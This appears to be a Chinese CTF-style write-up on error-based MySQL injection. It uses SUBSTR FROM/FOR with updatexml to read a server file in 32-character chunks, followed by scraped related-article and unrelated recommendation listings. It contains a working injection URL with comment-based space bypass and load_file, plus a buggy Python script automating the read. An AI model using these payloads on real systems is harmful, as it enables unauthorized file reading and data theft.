http://103.238.227.13:10088/?id=1

在读取文件的时候发现不能够一下子全部读取出来。经过百度学习了一下,看到别人使用from for说实在此前真不知道这操作。

先来看一下from for吧

 mysql> select database();
+------------+
| database() |
+------------+
| typecho |
+------------+
1 row in set (0.00 sec) mysql> select substr(database() from 1 for 2);
+---------------------------------+
| substr(database() from 1 for 2) |
+---------------------------------+
| ty |
+---------------------------------+
1 row in set (0.00 sec) mysql> select substr(database() from 2 for 3);
+---------------------------------+
| substr(database() from 2 for 3) |
+---------------------------------+
| ype |
+---------------------------------+
1 row in set (0.00 sec)
#说明前面一个数字是从第几个开始读取,最后的一个数字是读取的长度。

大概懂了吧,就是起到一个分页的效果。

那么再用到注入里自然就OK了。

PS:过滤了空格可以用使用/**/进行替换,还有就是updatexml最多只能显示32位的长度,所以for的数字是32。

http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(1,(select/**/substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))from/**/1/**/for/**/32)),1),1)

然后写一个脚本吧from后面的数字每次+32,for也要加就可以了。

以下脚本待完善。

 #!/usr/bin/env python
#encoding:utf-8
#by i3ekr import requests,re
from lxml import etree
n1 = 1
n2 = 32 for i in range(0,100):
url ="""
http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(1,(select/**/substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))from/**/%d/**/for/**/%d)),1),1)
"""%(n1,n2)
html = requests.get(url,timeout=5).text
print(html)
result=re.findall(html,"[A-Z][0-9][A-Z][0-9]")
result = re.findall("[A-Z][0-9][A-Z][0-9]{29}",html)
print(result)
n1+=31
n2+=32

SQL注入文件读取通过from for分页读取的更多相关文章

  1. 防SQL注入:生成参数化的通用分页查询语句

    原文:防SQL注入:生成参数化的通用分页查询语句 前些时间看了玉开兄的“如此高效通用的分页存储过程是带有sql注入漏洞的”这篇文章,才突然想起某个项目也是使用了累似的通用分页存储过程.使用这种通用的存 ...

  2. DoraBox sql注入&文件上传

    SQL注入 1.sqli数字型 判断是否存在注入点,执行1 and 1=1,有回显判断存在注入点 判断字段数,执行1 order by 3以及执行1 order by 4时报错,判断字段数为3 判断具 ...

  3. sql注入文件写入和读取

    系统固定文件路径:https://blog.csdn.net/ncafei/article/details/54616826 /etc/passwd c:/windows/win.ini 文件读取使用 ...

  4. PHP防止SQL注入文件,引入即可

    公司之前做的一个学校网站被黑客攻击并将漏洞公布于网络,其实黑客用的仅仅是一个叫WebCruiserEnt的软件就搞定了,数据库一目了然的呈现在了游客面前,用的就是常用的sql漏洞攻击,这里准备了一个文 ...

  5. 1.3 DVWA亲测sql注入漏洞

    LOW等级   我们先输入1 我们加上一个单引号,页面报错 我们看一下源代码: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input ...

  6. 卧槽,sql注入竟然把我们的系统搞挂了

    前言 最近我在整理安全漏洞相关问题,准备在公司做一次分享.恰好,这段时间团队发现了一个sql注入漏洞:在一个公共的分页功能中,排序字段作为入参,前端页面可以自定义.在分页sql的mybatis map ...

  7. Java审计之SQL注入篇

    Java审计之SQL注入篇 0x00 前言 本篇文章作为Java Web 审计的一个入门文,也是我的第一篇审计文,后面打算更新一个小系列,来记录一下我的审计学习的成长. 0x01 JDBC 注入分析 ...

  8. 模拟sql注入实现远程桌面登录

    首先用sql注入文件命令y url+一句话 into outfile 绝对路径/test.php 用蚁剑连接打开连接的终端 先看用户的权限 创建一个用户将它放入队列中 查看3389端口是否开启 0xd ...

  9. SQL注入与burPsuit工具介绍

    sql注入原理 原理:用户输入不可控,用户输入导致了sql语义发生了改变 用户输入不可控:网站不能控制普通用户的输入 sql语义发生变化: 动态网页介绍: 网站数据请求 脚本语言:解释类语言,如,后端 ...

随机推荐

  1. Redis 学习之集群

    该文使用centos6.5 64位  redis3.2.8 一.  redis-cluster架构图 集群通信:所有redis节点之间通过PING-PONG机制彼此互联,内部使用二进制鞋子优化传输速度 ...

  2. WPF绑定xaml中绑定对象需用属性表示,字段不可以绑定

    在练习WPF绑定时发现对象属性可以在XAML中绑定,但字段是不可以绑定: 比如: private Person person{get;set;}  可以绑定到XAML中,<TextBox Nam ...

  3. matlab exist函数

    函数作用:用于确定某变量或值是否存在. 调用格式: exist主要有两种形式,一个参数和两个参数的,作用都是用于确定某值是否存在:1. b = exist( a) 若 a 存在,则 b = 1: 否则 ...

  4. 【bzoj2004】[Hnoi2010]Bus 公交线路 状压dp+矩阵乘法

    题目描述 小Z所在的城市有N个公交车站,排列在一条长(N-1)km的直线上,从左到右依次编号为1到N,相邻公交车站间的距离均为1km. 作为公交车线路的规划者,小Z调查了市民的需求,决定按下述规则设计 ...

  5. 完全理解Python的 '==' 和 'is'

    '==' 比较的是两个对象的值 'is' 比较的是两个对象的内存地址(id) 下面我们着重理解 'is'.对于这个,我们需要知道:小整数对象池,大整数对象池,以及intern机制 小整数池:Pytho ...

  6. Linux(ubuntu 12.04桌面版) 搭建Android开发环境

    因为一些工作上的原因,需要切换到Linux环境下做点开发,我选择的Linux发行版本为ubuntu(我不建议使用fedora,我最开始就是使用的fedora,但发现并不是特别好使,有些插件没办法安装, ...

  7. POJ3261:Milk Patterns——题解

    http://poj.org/problem?id=3261 给一个序列,求至少出现 k 次的最长重复子串,这 k 个子串可以重叠. 论文题+傻逼题. 上一道题(POJ1743)会做即可. 还是二分长 ...

  8. Json对象转为实体对象

    Json对象转为实体对象 1.Bean中申明 trainTypeList: public class TrainTypeQueryParam implements Serializable { pri ...

  9. jquery 操作实例一

    <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"% ...

  10. (转)关于block使用的5点注意事项

    1.在使用block前需要对block指针做判空处理. 不判空直接使用,一旦指针为空直接产生崩溃. if (!self.isOnlyNet) { if (succBlock == NULL) { // ...